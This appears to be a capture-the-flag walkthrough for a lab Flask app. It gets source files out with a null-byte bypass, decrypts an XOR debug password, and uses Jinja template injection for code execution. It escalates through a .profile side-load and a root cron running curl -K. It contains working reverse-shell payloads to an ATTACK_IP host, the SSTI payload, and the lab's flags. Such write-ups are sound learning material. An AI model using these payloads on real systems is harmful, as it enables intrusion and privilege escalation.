A Flask app with a password-protected debugger that renders your input with Jinja — a textbook SSTI. Recover an XOR-encrypted password, get code execution, then turn a curl -K cron job into a root file reader. Goal: flag1 + flag2.
1 · Enumeration
nmap -sC -sV tip.thm
PORT STATE SERVICE VERSION
22/tcp open ssh
7777/tcp open http Flask
gobuster dir -u http://tip.thm:7777 -w /usr/share/wordlists/common.txt
/cloud /debug
2 · Smuggle Every File Out of /cloud
/cloud only serves .txt files and source.py, but a null-byte trick (file.py%00.txt) slips the source through and reveals everything.
download source.py
# routes: /cloud /debug /debugresult
# /debug: password gate + illegal chars ' & ; %
# /debugresult: render_template_string(...) ← SSTI
# Null-byte bypass on the extension filter
download debugpassword.py%00.txt # XOR function + key "ayham"
download supersecrettip.txt # XOR-encoded password blob
download ip.py # /debugresult needs X-Forwarded-For: 127.0.0.1
3 · XOR → Debug Password
# CyberChef: XOR blob with key "ayham" → hex → text
Password: AyhamDeebugg
4 · SSTI → Shell
Send the password to /debug; the statement is rendered via Jinja, so {{7*7}} yields 49 at /debugresult (host must be 127.0.0.1 with the X-Forwarded-For header). Reach os through the config object and run a base64-encoded shell to dodge the illegal characters.
# Debug field (URL-encoded), confirmed at /debugresult with
X-Forwarded-For: 127.0.0.1
{{config.__class__.__init__.__globals__["os"].popen("echo <BASE64> | base64 -d | bash").read()}}
# BASE64 = base64 of: bash -i >& /dev/tcp/ATTACK_IP/4444 0>&1
nc -lvnp 4444
# > shell as ayham
find / -name 'flag1.txt'
THM{LFI_1s_Pr33Ty_Aw3s0Me_1337}
5 · ayham → F30s (.profile side-load)
In the crontab, a job boots the shell of user F30s — sourcing ~/.profile on the way in. We can't write the checked script, but we can write F30s's profile.
cat /etc/crontab # spot the F30s and site_check jobs
echo 'bash -i >& /dev/tcp/ATTACK_IP/5555 0>&1' >> /home/F30s/.profile
# wait → shell as F30s
6 · F30s → root (curl -K file read)
A root cron runs curl -K /home/F30s/site_check. curl's config file supports url and output keys — so we turn the "site checker" into a file:// reader that copies protected files with root rights.
# Rewrite the config, wait for the cron
url = file:///root/flag2.txt
output = /home/F30s/enc_flag2.txt
# > flag2 lands — still XOR-encrypted
# Also pull /secret.txt and /secret-tip.txt
# secret-tip.txt: "it's allways about root" → the XOR key word
# XOR secret.txt bytes with "root" → key
Key = 110920001386
# XOR enc_flag2 with the key (brute final digits 00–99)
THM{cronjobs_F1Le_iNPu7_cURL_4re_5c4ry_Wh3N_C0mb1n3d_t0g3THeR}
The last two digits of the key were unknown — 1109200013XX — so test 00–99 to fully decrypt flag2.
7 · What Made It Work
Step 6 is the one I'd take away. curl -K reads a config file that can carry url and output, so a cron job that runs curl on a file a normal user can write is a root file reader, and url = file:///root/flag2.txt is all it takes. Step 5 is the same idea one level down: you can't write the script, but a login shell reads ~/.profile on the way in.